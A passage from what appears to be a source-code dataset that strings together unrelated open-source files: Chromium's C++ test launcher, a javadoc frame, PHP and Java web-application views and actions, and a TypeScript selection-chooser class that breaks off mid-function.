if (!StringToInt(CommandLine::ForCurrentProcess()->GetSwitchValueASCII(
switches::kTestLauncherJobs), &jobs) ||
jobs < 0) {
LOG(ERROR) << "Invalid value for " << switches::kTestLauncherJobs;
return false;
}
parallel_jobs_ = jobs;
}
fprintf(stdout, "Using %" PRIuS " parallel jobs.\n", parallel_jobs_);
fflush(stdout);
worker_pool_owner_.reset(
new SequencedWorkerPoolOwner(parallel_jobs_, "test_launcher"));
if (command_line->HasSwitch(switches::kTestLauncherFilterFile) &&
command_line->HasSwitch(kGTestFilterFlag)) {
LOG(ERROR) << "Only one of --test-launcher-filter-file and --gtest_filter "
<< "at a time is allowed.";
return false;
}
if (command_line->HasSwitch(switches::kTestLauncherFilterFile)) {
std::string filter;
if (!ReadFileToString(
command_line->GetSwitchValuePath(switches::kTestLauncherFilterFile),
&filter)) {
LOG(ERROR) << "Failed to read the filter file.";
return false;
}
std::vector<std::string> filter_lines;
SplitString(filter, '\n', &filter_lines);
for (size_t i = 0; i < filter_lines.size(); i++) {
if (filter_lines[i].empty())
continue;
if (filter_lines[i][0] == '-')
negative_test_filter_.push_back(filter_lines[i].substr(1));
else
positive_test_filter_.push_back(filter_lines[i]);
}
} else {
// Split --gtest_filter at '-', if there is one, to separate into
// positive filter and negative filter portions.
std::string filter = command_line->GetSwitchValueASCII(kGTestFilterFlag);
size_t dash_pos = filter.find('-');
if (dash_pos == std::string::npos) {
SplitString(filter, ':', &positive_test_filter_);
} else {
// Everything up to the dash.
SplitString(filter.substr(0, dash_pos), ':', &positive_test_filter_);
// Everything after the dash.
SplitString(filter.substr(dash_pos + 1), ':', &negative_test_filter_);
}
}
if (!results_tracker_.Init(*command_line)) {
LOG(ERROR) << "Failed to initialize test results tracker.";
return 1;
}
#if defined(NDEBUG)
results_tracker_.AddGlobalTag("MODE_RELEASE");
#else
results_tracker_.AddGlobalTag("MODE_DEBUG");
#endif
// Operating systems (sorted alphabetically).
// Note that they can deliberately overlap, e.g. OS_LINUX is a subset
// of OS_POSIX.
#if defined(OS_ANDROID)
results_tracker_.AddGlobalTag("OS_ANDROID");
#endif
#if defined(OS_BSD)
results_tracker_.AddGlobalTag("OS_BSD");
#endif
#if defined(OS_FREEBSD)
results_tracker_.AddGlobalTag("OS_FREEBSD");
#endif
#if defined(OS_IOS)
results_tracker_.AddGlobalTag("OS_IOS");
#endif
#if defined(OS_LINUX)
results_tracker_.AddGlobalTag("OS_LINUX");
#endif
#if defined(OS_MACOSX)
results_tracker_.AddGlobalTag("OS_MACOSX");
#endif
#if defined(OS_NACL)
results_tracker_.AddGlobalTag("OS_NACL");
#endif
#if defined(OS_OPENBSD)
results_tracker_.AddGlobalTag("OS_OPENBSD");
#endif
#if defined(OS_POSIX)
results_tracker_.AddGlobalTag("OS_POSIX");
#endif
#if defined(OS_SOLARIS)
results_tracker_.AddGlobalTag("OS_SOLARIS");
#endif
#if defined(OS_WIN)
results_tracker_.AddGlobalTag("OS_WIN");
#endif
// CPU-related tags.
#if defined(ARCH_CPU_32_BITS)
results_tracker_.AddGlobalTag("CPU_32_BITS");
#endif
#if defined(ARCH_CPU_64_BITS)
results_tracker_.AddGlobalTag("CPU_64_BITS");
#endif
return true;
}
void TestLauncher::RunTests() {
testing::UnitTest* const unit_test = testing::UnitTest::GetInstance();
std::vector<std::string> test_names;
for (int i = 0; i < unit_test->total_test_case_count(); ++i) {
const testing::TestCase* test_case = unit_test->GetTestCase(i);
for (int j = 0; j < test_case->total_test_count(); ++j) {
const testing::TestInfo* test_info = test_case->GetTestInfo(j);
std::string test_name = test_info->test_case_name();
test_name.append(".");
test_name.append(test_info->name());
results_tracker_.AddTest(test_name);
const CommandLine* command_line = CommandLine::ForCurrentProcess();
if (test_name.find("DISABLED") != std::string::npos) {
results_tracker_.AddDisabledTest(test_name);
// Skip disabled tests unless explicitly requested.
if (!command_line->HasSwitch(kGTestRunDisabledTestsFlag))
continue;
}
// Skip the test that doesn't match the filter (if given).
if (!positive_test_filter_.empty()) {
bool found = false;
for (size_t k = 0; k < positive_test_filter_.size(); ++k) {
if (MatchPattern(test_name, positive_test_filter_[k])) {
found = true;
break;
}
}
if (!found)
continue;
}
bool excluded = false;
for (size_t k = 0; k < negative_test_filter_.size(); ++k) {
if (MatchPattern(test_name, negative_test_filter_[k])) {
excluded = true;
break;
}
}
if (excluded)
continue;
if (!launcher_delegate_->ShouldRunTest(test_case, test_info))
continue;
if (base::Hash(test_name) % total_shards_ !=
static_cast<uint32>(shard_index_)) {
continue;
}
test_names.push_back(test_name);
}
}
test_started_count_ = launcher_delegate_->RunTests(this, test_names);
if (test_started_count_ == 0) {
fprintf(stdout, "0 tests run\n");
fflush(stdout);
// No tests have actually been started, so kick off the next iteration.
MessageLoop::current()->PostTask(
FROM_HERE,
Bind(&TestLauncher::RunTestIteration, Unretained(this)));
}
}
void TestLauncher::RunTestIteration() {
if (cycles_ == 0) {
MessageLoop::current()->Quit();
return;
}
// Special value "-1" means "repeat indefinitely".
cycles_ = (cycles_ == -1) ? cycles_ : cycles_ - 1;
test_started_count_ = 0;
test_finished_count_ = 0;
test_success_count_ = 0;
test_broken_count_ = 0;
retry_count_ = 0;
tests_to_retry_.clear();
results_tracker_.OnTestIterationStarting();
MessageLoop::current()->PostTask(
FROM_HERE, Bind(&TestLauncher::RunTests, Unretained(this)));
}
void TestLauncher::MaybeSaveSummaryAsJSON() {
const CommandLine* command_line = CommandLine::ForCurrentProcess();
if (command_line->HasSwitch(switches::kTestLauncherSummaryOutput)) {
FilePath summary_path(command_line->GetSwitchValuePath(
switches::kTestLauncherSummaryOutput));
if (!results_tracker_.SaveSummaryAsJSON(summary_path)) {
LOG(ERROR) << "Failed to save test launcher output summary.";
}
}
}
void TestLauncher::OnLaunchTestProcessFinished(
const LaunchChildGTestProcessCallback& callback,
int exit_code,
const TimeDelta& elapsed_time,
bool was_timeout,
const std::string& output) {
DCHECK(thread_checker_.CalledOnValidThread());
callback.Run(exit_code, elapsed_time, was_timeout, output);
}
void TestLauncher::OnTestIterationFinished() {
TestResultsTracker::TestStatusMap tests_by_status(
results_tracker_.GetTestStatusMapForCurrentIteration());
if (!tests_by_status[TestResult::TEST_UNKNOWN].empty())
results_tracker_.AddGlobalTag(kUnreliableResultsTag);
// When we retry tests, success is determined by having nothing more
// to retry (everything eventually passed), as opposed to having
// no failures at all.
if (tests_to_retry_.empty()) {
fprintf(stdout, "SUCCESS: all tests passed.\n");
fflush(stdout);
} else {
// Signal failure, but continue to run all requested test iterations.
// With the summary of all iterations at the end this is a good default.
run_result_ = false;
}
results_tracker_.PrintSummaryOfCurrentIteration();
// Kick off the next iteration.
MessageLoop::current()->PostTask(
FROM_HERE,
Bind(&TestLauncher::RunTestIteration, Unretained(this)));
}
void TestLauncher::OnOutputTimeout() {
DCHECK(thread_checker_.CalledOnValidThread());
AutoLock lock(g_live_processes_lock.Get());
fprintf(stdout, "Still waiting for the following processes to finish:\n");
for (std::map<ProcessHandle, CommandLine>::iterator i =
g_live_processes.Get().begin();
i != g_live_processes.Get().end();
++i) {
#if defined(OS_WIN)
fwprintf(stdout, L"\t%s\n", i->second.GetCommandLineString().c_str());
#else
fprintf(stdout, "\t%s\n", i->second.GetCommandLineString().c_str());
#endif
}
fflush(stdout);
// Arm the timer again - otherwise it would fire only once.
watchdog_timer_.Reset();
}
std::string GetTestOutputSnippet(const TestResult& result,
const std::string& full_output) {
size_t run_pos = full_output.find(std::string("[ RUN ] ") +
result.full_name);
if (run_pos == std::string::npos)
return std::string();
size_t end_pos = full_output.find(std::string("[ FAILED ] ") +
result.full_name,
run_pos);
// Only clip the snippet to the "OK" message if the test really
// succeeded. It still might have e.g. crashed after printing it.
if (end_pos == std::string::npos &&
result.status == TestResult::TEST_SUCCESS) {
end_pos = full_output.find(std::string("[ OK ] ") +
result.full_name,
run_pos);
}
if (end_pos != std::string::npos) {
size_t newline_pos = full_output.find("\n", end_pos);
if (newline_pos != std::string::npos)
end_pos = newline_pos + 1;
}
std::string snippet(full_output.substr(run_pos));
if (end_pos != std::string::npos)
snippet = full_output.substr(run_pos, end_pos - run_pos);
return snippet;
}
CommandLine PrepareCommandLineForGTest(const CommandLine& command_line,
const std::string& wrapper) {
CommandLine new_command_line(command_line.GetProgram());
CommandLine::SwitchMap switches = command_line.GetSwitches();
// Strip out gtest_repeat flag - this is handled by the launcher process.
switches.erase(kGTestRepeatFlag);
// Don't try to write the final XML report in child processes.
switches.erase(kGTestOutputFlag);
for (CommandLine::SwitchMap::const_iterator iter = switches.begin();
iter != switches.end(); ++iter) {
new_command_line.AppendSwitchNative((*iter).first, (*iter).second);
}
// Prepend wrapper after last CommandLine quasi-copy operation. CommandLine
// does not really support removing switches well, and trying to do that
// on a CommandLine with a wrapper is known to break.
// TODO(phajdan.jr): Give it a try to support CommandLine removing switches.
#if defined(OS_WIN)
new_command_line.PrependWrapper(ASCIIToWide(wrapper));
#elif defined(OS_POSIX)
new_command_line.PrependWrapper(wrapper);
#endif
return new_command_line;
}
// TODO(phajdan.jr): Move to anonymous namespace.
int LaunchChildTestProcessWithOptions(const CommandLine& command_line,
const LaunchOptions& options,
bool use_job_objects,
base::TimeDelta timeout,
bool* was_timeout) {
#if defined(OS_POSIX)
// Make sure an option we rely on is present - see LaunchChildGTestProcess.
DCHECK(options.new_process_group);
#endif
LaunchOptions new_options(options);
#if defined(OS_WIN)
DCHECK(!new_options.job_handle);
win::ScopedHandle job_handle;
if (use_job_objects) {
job_handle.Set(CreateJobObject(NULL, NULL));
if (!job_handle.IsValid()) {
LOG(ERROR) << "Could not create JobObject.";
return -1;
}
// Allow break-away from job since sandbox and few other places rely on it
// on Windows versions prior to Windows 8 (which supports nested jobs).
// TODO(phajdan.jr): Do not allow break-away on Windows 8.
if (!SetJobObjectLimitFlags(job_handle.Get(),
JOB_OBJECT_LIMIT_KILL_ON_JOB_CLOSE |
JOB_OBJECT_LIMIT_BREAKAWAY_OK)) {
LOG(ERROR) << "Could not SetJobObjectLimitFlags.";
return -1;
}
new_options.job_handle = job_handle.Get();
}
#endif // defined(OS_WIN)
#if defined(OS_LINUX)
// To prevent accidental privilege sharing to an untrusted child, processes
// are started with PR_SET_NO_NEW_PRIVS. Do not set that here, since this
// new child will be privileged and trusted.
new_options.allow_new_privs = true;
#endif
base::ProcessHandle process_handle;
{
// Note how we grab the lock before the process possibly gets created.
// This ensures that when the lock is held, ALL the processes are registered
// in the set.
AutoLock lock(g_live_processes_lock.Get());
if (!base::LaunchProcess(command_line, new_options, &process_handle))
return -1;
g_live_processes.Get().insert(std::make_pair(process_handle, command_line));
}
int exit_code = 0;
if (!base::WaitForExitCodeWithTimeout(process_handle,
&exit_code,
timeout)) {
*was_timeout = true;
exit_code = -1; // Set a non-zero exit code to signal a failure.
// Ensure that the process terminates.
base::KillProcess(process_handle, -1, true);
}
{
// Note how we grab the log before issuing a possibly broad process kill.
// Other code parts that grab the log kill processes, so avoid trying
// to do that twice and trigger all kinds of log messages.
AutoLock lock(g_live_processes_lock.Get());
#if defined(OS_POSIX)
if (exit_code != 0) {
// On POSIX, in case the test does not exit cleanly, either due to a crash
// or due to it timing out, we need to clean up any child processes that
// it might have created. On Windows, child processes are automatically
// cleaned up using JobObjects.
base::KillProcessGroup(process_handle);
}
#endif
g_live_processes.Get().erase(process_handle);
}
base::CloseProcessHandle(process_handle);
return exit_code;
}
} // namespace base
| bsd-3-clause |
ExLibrisGroup/Rosetta.dps-sdk-projects | 6.2/javadoc/com/exlibris/dps/sdk/registry/package-frame.html | 1116 | <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<!-- NewPage -->
<html lang="en">
<head>
<!-- Generated by javadoc (1.8.0_45) on Tue Dec 17 16:26:36 IST 2019 -->
<title>com.exlibris.dps.sdk.registry</title>
<meta name="date" content="2019-12-17">
<link rel="stylesheet" type="text/css" href="../../../../../stylesheet.css" title="Style">
<script type="text/javascript" src="../../../../../script.js"></script>
</head>
<body>
<h1 class="bar"><a href="../../../../../com/exlibris/dps/sdk/registry/package-summary.html" target="classFrame">com.exlibris.dps.sdk.registry</a></h1>
<div class="indexContainer">
<h2 title="Interfaces">Interfaces</h2>
<ul title="Interfaces">
<li><a href="ConverterRegistryPlugin.html" title="interface in com.exlibris.dps.sdk.registry" target="classFrame"><span class="interfaceName">ConverterRegistryPlugin</span></a></li>
<li><a href="PublisherRegistryPlugin.html" title="interface in com.exlibris.dps.sdk.registry" target="classFrame"><span class="interfaceName">PublisherRegistryPlugin</span></a></li>
</ul>
</div>
</body>
</html>
| bsd-3-clause |
hung101/kbs | frontend/views/BspPerlanjutan/update.php | 608 | <?php
use yii\helpers\Html;
/* @var $this yii\web\View */
/* @var $model app\models\BspPerlanjutan */
$this->title = 'Update Bsp Perlanjutan: ' . ' ' . $model->bsp_perlanjutan_id;
$this->params['breadcrumbs'][] = ['label' => 'Bsp Perlanjutans', 'url' => ['index']];
$this->params['breadcrumbs'][] = ['label' => $model->bsp_perlanjutan_id, 'url' => ['view', 'id' => $model->bsp_perlanjutan_id]];
$this->params['breadcrumbs'][] = 'Update';
?>
<div class="bsp-perlanjutan-update">
<h1><?= Html::encode($this->title) ?></h1>
<?= $this->render('_form', [
'model' => $model,
]) ?>
</div>
| bsd-3-clause |
NCIP/camod | software/camod/src/gov/nih/nci/camod/webapp/action/RadiationAction.java | 7161 | /*L
* Copyright SAIC
* Copyright SAIC-Frederick
*
* Distributed under the OSI-approved BSD 3-Clause License.
* See http://ncip.github.com/camod/LICENSE.txt for details.
*/
/**
*
* $Id: RadiationAction.java,v 1.16 2008-08-14 16:55:34 pandyas Exp $
*
* $Log: not supported by cvs2svn $
* Revision 1.15 2007/10/31 17:12:46 pandyas
* Modified comments for #8355 Add comments field to every submission page
*
* Revision 1.14 2006/10/27 16:31:51 pandyas
* fixed printout on error - typo
*
* Revision 1.13 2006/04/17 19:09:41 pandyas
* caMod 2.1 OM changes
*
* Revision 1.12 2005/11/09 00:17:26 georgeda
* Fixed delete w/ constraints
*
* Revision 1.11 2005/11/02 21:48:09 georgeda
* Fixed validate
*
* Revision 1.10 2005/11/02 19:02:08 pandyas
* Added e-mail functionality
*
* Revision 1.9 2005/10/28 14:50:55 georgeda
* Fixed null pointer problem
*
* Revision 1.8 2005/10/28 12:47:26 georgeda
* Added delete functionality
*
* Revision 1.7 2005/10/20 20:39:32 pandyas
* added javadocs
*
*
*/
package gov.nih.nci.camod.webapp.action;
import gov.nih.nci.camod.Constants;
import gov.nih.nci.camod.domain.AnimalModel;
import gov.nih.nci.camod.domain.CarcinogenExposure;
import gov.nih.nci.camod.service.AnimalModelManager;
import gov.nih.nci.camod.service.CarcinogenExposureManager;
import gov.nih.nci.camod.webapp.form.RadiationForm;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.apache.struts.action.*;
/**
* RadiationAction Class
*/
public class RadiationAction extends BaseAction {
/**
* Edit
*
* @param mapping
* @param form
* @param request
* @param response
* @return
* @throws Exception
*/
public ActionForward edit(ActionMapping mapping, ActionForm form, HttpServletRequest request,
HttpServletResponse response) throws Exception {
if (log.isDebugEnabled()) {
log.debug("Entering 'edit' method");
}
if (!isTokenValid(request)) {
return mapping.findForward("failure");
}
// Grab the current CarcinogenExposure we are working with related to this animalModel
String aCarcinogenExposureID = request.getParameter("aCarcinogenExposureID");
// Create a form to edit
RadiationForm radiationForm = (RadiationForm) form;
log.info("<EnvironmentalFactorAction save> following Characteristics:" + "\n\t name: "
+ radiationForm.getName() + "\n\t otherName: " + radiationForm.getOtherName() + "\n\t dosage: "
+ radiationForm.getDosage()
+ "\n\t dosageUnit: " + radiationForm.getDosageUnit()
+ "\n\t administrativeRoute: " + radiationForm.getAdministrativeRoute()
+ "\n\t regimen: " + radiationForm.getRegimen() + "\n\t ageAtTreatment: "
+ radiationForm.getAgeAtTreatment()
+ radiationForm.getAgeAtTreatmentUnit()
+ "\n\t type: " + radiationForm.getType() + "\n\t user: "
+ (String) request.getSession().getAttribute("camod.loggedon.username"));
CarcinogenExposureManager carcinogenExposureManager = (CarcinogenExposureManager) getBean("carcinogenExposureManager");
String theAction = (String) request.getParameter(Constants.Parameters.ACTION);
try {
// Grab the current modelID from the session
String theModelId = (String) request.getSession().getAttribute(Constants.MODELID);
AnimalModelManager theAnimalModelManager = (AnimalModelManager) getBean("animalModelManager");
AnimalModel theAnimalModel = theAnimalModelManager.get(theModelId);
if ("Delete".equals(theAction)) {
carcinogenExposureManager.remove(aCarcinogenExposureID, theAnimalModel);
ActionMessages msg = new ActionMessages();
msg.add(ActionMessages.GLOBAL_MESSAGE, new ActionMessage("radiation.delete.successful"));
saveErrors(request, msg);
} else {
CarcinogenExposure theCarcinogenExposure = carcinogenExposureManager.get(aCarcinogenExposureID);
carcinogenExposureManager.update(theAnimalModel, radiationForm, theCarcinogenExposure);
// Add a message to be displayed in submitOverview.jsp saying
// you've
// created a new model successfully
ActionMessages msg = new ActionMessages();
msg.add(ActionMessages.GLOBAL_MESSAGE, new ActionMessage("radiation.edit.successful"));
saveErrors(request, msg);
}
} catch (Exception e) {
log.error("Unable to get add a radiation action: ", e);
ActionMessages theMsg = new ActionMessages();
theMsg.add(ActionMessages.GLOBAL_MESSAGE, new ActionMessage("errors.admin.message"));
saveErrors(request, theMsg);
}
resetToken(request);
return mapping.findForward("AnimalModelTreePopulateAction");
}
/**
* Save
*
* @param mapping
* @param form
* @param request
* @param response
* @return
* @throws Exception
*/
public ActionForward save(ActionMapping mapping, ActionForm form, HttpServletRequest request,
HttpServletResponse response) throws Exception {
if (log.isDebugEnabled()) {
log.debug("Entering 'save' method");
}
if (!isTokenValid(request)) {
return mapping.findForward("failure");
}
RadiationForm radiationForm = (RadiationForm) form;
log.info("<EnvironmentalFactorAction save> following Characteristics:" + "\n\t name: "
+ radiationForm.getName() + "\n\t otherName: " + radiationForm.getOtherName() + "\n\t dosage: "
+ radiationForm.getDosage()
+ "\n\t dosageUnit: " + radiationForm.getDosageUnit()
+ "\n\t administrativeRoute: " + radiationForm.getAdministrativeRoute()
+ "\n\t regimen: " + radiationForm.getRegimen() + "\n\t ageAtTreatment: "
+ radiationForm.getAgeAtTreatment() + radiationForm.getAgeAtTreatmentUnit()
+ "\n\t type: " + radiationForm.getType()
+ "\n\t Comments: " + radiationForm.getComments()+ "\n\t user: "
+ (String) request.getSession().getAttribute("camod.loggedon.username"));
/* Grab the current modelID from the session */
String modelID = (String) request.getSession().getAttribute(Constants.MODELID);
/* Create all the manager objects needed for Screen */
AnimalModelManager animalModelManager = (AnimalModelManager) getBean("animalModelManager");
/* Set modelID in AnimalModel object */
AnimalModel animalModel = animalModelManager.get(modelID);
try {
animalModelManager.addCarcinogenExposure(animalModel, radiationForm);
// Add a message to be displayed in submitOverview.jsp saying you've
// created a new model successfully
ActionMessages msg = new ActionMessages();
msg.add(ActionMessages.GLOBAL_MESSAGE, new ActionMessage("radiation.creation.successful"));
saveErrors(request, msg);
} catch (Exception e) {
log.error("Unable to get add a radiation action: ", e);
ActionMessages theMsg = new ActionMessages();
theMsg.add(ActionMessages.GLOBAL_MESSAGE, new ActionMessage("errors.admin.message"));
saveErrors(request, theMsg);
}
resetToken(request);
return mapping.findForward("AnimalModelTreePopulateAction");
}
}
| bsd-3-clause |
intrallect/intraLibrary-PHP | src/IntraLibrary/Service/XMLResponse.php | 2807 | <?php
namespace IntraLibrary\Service;
use \IntraLibrary\IntraLibraryException;
use \DOMDocument;
use \DOMXPath;
use \DOMNode;
/**
* IntraLibrary XML Response base class
*
* @package IntraLibrary_PHP
* @author Janek Lasocki-Biczysko, <[email protected]>
*/
abstract class XMLResponse
{
protected $xPath;
/**
* Load XML into the response object
*
* @param string $xmlResponse the XML response
* @return void
*/
public function load($xmlResponse)
{
if (empty($xmlResponse)) {
return;
}
$xmlDocument = new DOMDocument();
$xmlDocument->loadXML($xmlResponse);
$this->xPath = new DOMXPath($xmlDocument);
$this->consumeDom();
}
/**
* Run an xPath query
*
* @param string $expression the xpath expression
* @param DOMNode $contextNode the context node
* @return DOMNodeList
*/
public function xQuery($expression, DOMNode $contextNode = null)
{
if ($this->xPath) {
return $this->xPath->query($expression, $contextNode);
}
return new \DOMNodeList();
}
/**
* Get the text value of a node (or an array of values if multiple nodes are matched
* by the expression)
*
* @param string $expression the xpath expression targeting the text node
* element (without the trailing '/text()' function)
* @param DOMNode $contextNode the context node used in the xpath query
* @param boolean $wrap if true, single results will be wrapped in an array
* @return string | array
*/
public function getText($expression, DOMNode $contextNode = null, $wrap = false)
{
if (!$this->xPath) {
return null;
}
// XXX: PHP 5.3.2 seems to require $contextNode to be omitted
// from the function's arguments if it is null
// 5.3.6 seems to handle this naturally...
if ($contextNode === null) {
$domNodeList = $this->xPath->query($expression . '/text()');
} else {
$domNodeList = $this->xPath->query($expression . '/text()', $contextNode);
}
if ($domNodeList && $domNodeList->length > 0) {
if ($domNodeList->length == 1 && !$wrap) {
return $domNodeList->item(0)->wholeText;
}
$text = array();
foreach ($domNodeList as $item) {
$text[] = $item->wholeText;
}
return $text;
}
return null;
}
/**
* Subclasses should use this function to traverse the dom using xpath
* and store any data for future access.
*
* @return void
*/
abstract protected function consumeDom();
}
| bsd-3-clause |
eandbsoftware/phpbms | modules/bms/tax_addedit.php | 4359 | <?php
/*
$Rev: 285 $ | $LastChangedBy: brieb $
$LastChangedDate: 2007-08-27 14:05:27 -0600 (Mon, 27 Aug 2007) $
+-------------------------------------------------------------------------+
| Copyright (c) 2004 - 2007, Kreotek LLC |
| All rights reserved. |
+-------------------------------------------------------------------------+
| |
| Redistribution and use in source and binary forms, with or without |
| modification, are permitted provided that the following conditions are |
| met: |
| |
| - Redistributions of source code must retain the above copyright |
| notice, this list of conditions and the following disclaimer. |
| |
| - Redistributions in binary form must reproduce the above copyright |
| notice, this list of conditions and the following disclaimer in the |
| documentation and/or other materials provided with the distribution. |
| |
| - Neither the name of Kreotek LLC nor the names of its contributore may |
| be used to endorse or promote products derived from this software |
| without specific prior written permission. |
| |
| THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS |
| "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT |
| LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A |
| PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT |
| OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, |
| SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT |
| LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, |
| DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY |
| THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT |
| (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE |
| OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. |
| |
+-------------------------------------------------------------------------+
*/
include("../../include/session.php");
include("include/fields.php");
include("include/tables.php");
$tax = new phpbmstable($db,6);
$therecord = $tax->processAddEditPage();
if(isset($therecord["phpbmsStatus"]))
$statusmessage = $therecord["phpbmsStatus"];
$phpbms->cssIncludes[] = "pages/tax.css";
//Form Elements
//==============================================================
$theform = new phpbmsForm();
$theinput = new inputCheckbox("inactive",$therecord["inactive"]);
$theform->addField($theinput);
$theinput = new inputField("name",$therecord["name"],NULL,true,NULL,28,64);
$theinput->setAttribute("class","important");
$theform->addField($theinput);
$theinput = new inputPercentage("percentage",$therecord["percentage"],NULL,5,true,28,64);
$theform->addField($theinput);
$theform->jsMerge();
//==============================================================
//End Form Elements
$pageTitle="Tax Area";
include("header.php");
?><div class="bodyline">
<?php $theform->startForm($pageTitle)?>
<fieldset id="fsAttributes">
<legend>attribues</legend>
<p>
<label for="id">id</label><br />
<input name="id" id="id" type="text" value="<?php echo $therecord["id"]; ?>" size="5" maxlength="5" readonly="readonly" class="uneditable" />
</p>
<p><?php $theform->showField("inactive");?></p>
</fieldset>
<div id="nameDiv">
<fieldset >
<legend>name / percentage</legend>
<p><?php $theform->showField("name"); ?></p>
<p><?php $theform->showField("percentage"); ?></p>
</fieldset>
</div>
<?php
$theform->showCreateModify($phpbms,$therecord);
$theform->endForm();
?>
</div>
<?php include("footer.php");?> | bsd-3-clause |
datavisyn/tdp_core | src/views/SelectionChooser.ts | 8165 | import {IFormSelectElement, IFormSelectOptionGroup, IFormSelectOption} from '../form/elements/FormSelect';
import {FormElementType, IFormElement, IFormElementDesc} from '../form/interfaces';
import {ISelection} from '../base/interfaces';
import {IDType, IDTypeLike, IDTypeManager} from '../idtype';
import {BaseUtils} from '../base';
import {I18nextManager} from '../i18n';
export interface ISelectionChooserOptions {
/**
* Readable IDType the selection is being mapped to. If there is a 1:n mapping or in case of different readable and target IDTypes this IDType is used as the options group
*/
readableIDType: IDTypeLike;
/**
* In case of 1:n mappings between the selection's IDType and the readableIDType (or in case of different readable and target IDTypes) the readableSubOptionIDType can be used map the n options to readable names
*/
readableTargetIDType: IDTypeLike;
label: string;
appendOriginalLabel: boolean;
selectNewestByDefault: boolean;
}
/**
* helper class for chooser logic
*/
export class SelectionChooser {
private static readonly INVALID_MAPPING = {
name: 'Invalid',
id: -1,
label: ''
};
private readonly target: IDType | null;
private readonly readAble: IDType | null;
private readonly readableTargetIDType: IDType | null;
readonly desc: IFormElementDesc;
private readonly formID: string;
private readonly options: Readonly<ISelectionChooserOptions> = {
appendOriginalLabel: true,
selectNewestByDefault: true,
readableIDType: null,
readableTargetIDType: null,
label: 'Show'
};
private currentOptions: IFormSelectOption[];
constructor(private readonly accessor: (id: string) => IFormElement, targetIDType?: IDTypeLike, options: Partial<ISelectionChooserOptions> = {}) {
Object.assign(this.options, options);
this.target = targetIDType ? IDTypeManager.getInstance().resolveIdType(targetIDType) : null;
this.readAble = options.readableIDType ? IDTypeManager.getInstance().resolveIdType(options.readableIDType) : null;
this.readableTargetIDType = options.readableTargetIDType ? IDTypeManager.getInstance().resolveIdType(options.readableTargetIDType) : null;
this.formID = `forms.chooser.select.${this.target ? this.target.id : BaseUtils.randomId(4)}`;
this.desc = {
type: FormElementType.SELECT,
label: this.options.label,
id: this.formID,
options: {
optionsData: [],
},
useSession: true
};
}
init(selection: ISelection) {
return this.updateImpl(selection, false);
}
update(selection: ISelection) {
return this.updateImpl(selection, true);
}
chosen(): {id: number, name: string, label: string} | null {
const s = this.accessor(this.formID).value;
if (!s || s.data === SelectionChooser.INVALID_MAPPING) {
return null;
}
if (s.data) {
return s.data;
}
return {id: parseInt(s.id, 10), name: s.name, label: s.name};
}
private async toItems(selection: ISelection): Promise<(IFormSelectOption | IFormSelectOptionGroup)[]> {
const source = selection.idtype;
const sourceIds = selection.range.dim(0).asList();
const sourceNames = await source.unmap(sourceIds);
const readAble = this.readAble || null;
const readAbleNames = !readAble || readAble === source ? null : await IDTypeManager.getInstance().mapToFirstName(source, sourceIds, readAble);
const labels = readAbleNames ? (this.options.appendOriginalLabel ? readAbleNames.map((d, i) => `${d} (${sourceNames[i]})`) : readAbleNames) : sourceNames;
const target = this.target || source;
if (target === source) {
return sourceIds.map((d, i) => ({
value: String(d),
name: labels[i],
data: {id: d, name: sourceNames[i], label: labels[i]}
}));
}
const targetIds = await IDTypeManager.getInstance().mapToID(source, sourceIds, target);
const targetIdsFlat = (<number[]>[]).concat(...targetIds);
const targetNames = await target.unmap(targetIdsFlat);
if (target === readAble && targetIds.every((d) => d.length === 1)) {
// keep it simple target = readable and single hit - so just show flat
return targetIds.map((d, i) => ({
value: String(d[0]),
name: labels[i],
data: {id: d[0], name: targetNames[i], label: labels[i]}
}));
}
// in case of either 1:n mappings or when the target IDType and the readable IDType are different the readableIDType maps to the groups, the actual options would be mapped to the target IDType (e.g. some unreadable IDs).
// the readableTargetIDType provides the possibility to add an extra IDType to map the actual options to instead of the target IDs
const readAbleSubOptions: string[] = [];
if (this.readableTargetIDType) {
const optionsIDs: string[] = await IDTypeManager.getInstance().mapNameToFirstName(target, targetNames, this.readableTargetIDType);
readAbleSubOptions.push(...optionsIDs);
}
const subOptions = readAbleSubOptions && readAbleSubOptions.length > 0 ? readAbleSubOptions : targetNames;
let acc = 0;
const base = labels.map((name, i) => {
const group = targetIds[i];
const groupNames = subOptions.slice(acc, acc + group.length);
const originalTargetNames = targetNames.slice(acc, acc + group.length);
acc += group.length;
if (group.length === 0) {
// fake option with null value
return <IFormSelectOptionGroup>{
name,
children: [{
name: I18nextManager.getInstance().i18n.t('tdp:core.views.formSelectName'),
value: '',
data: SelectionChooser.INVALID_MAPPING
}]
};
}
return <IFormSelectOptionGroup>{
name,
children: group.map((d, j) => ({
name: groupNames[j], // either the original ID of the target or the readableTargetID is shown as an option if the readableTargetIDType is available
value: String(d),
data: {
id: d,
name: originalTargetNames[j], // this is the original ID from the target's idType to be used internally in the detail view
label: groupNames[j]
}
}))
};
});
return base.length === 1 ? base[0].children : base;
}
private updateImpl(selection: ISelection, reuseOld: boolean): Promise<boolean> {
return this.toItems(selection).then((r) => this.updateItems(r, reuseOld));
}
private updateItems(options: (IFormSelectOption | IFormSelectOptionGroup)[], reuseOld: boolean) {
const element = <IFormSelectElement>this.accessor(this.formID);
const flatOptions = options.reduce((acc, d) => {
if ((<any>d).children) {
acc.push(...(<IFormSelectOptionGroup>d).children);
} else {
acc.push(<IFormSelectOption>d);
}
return acc;
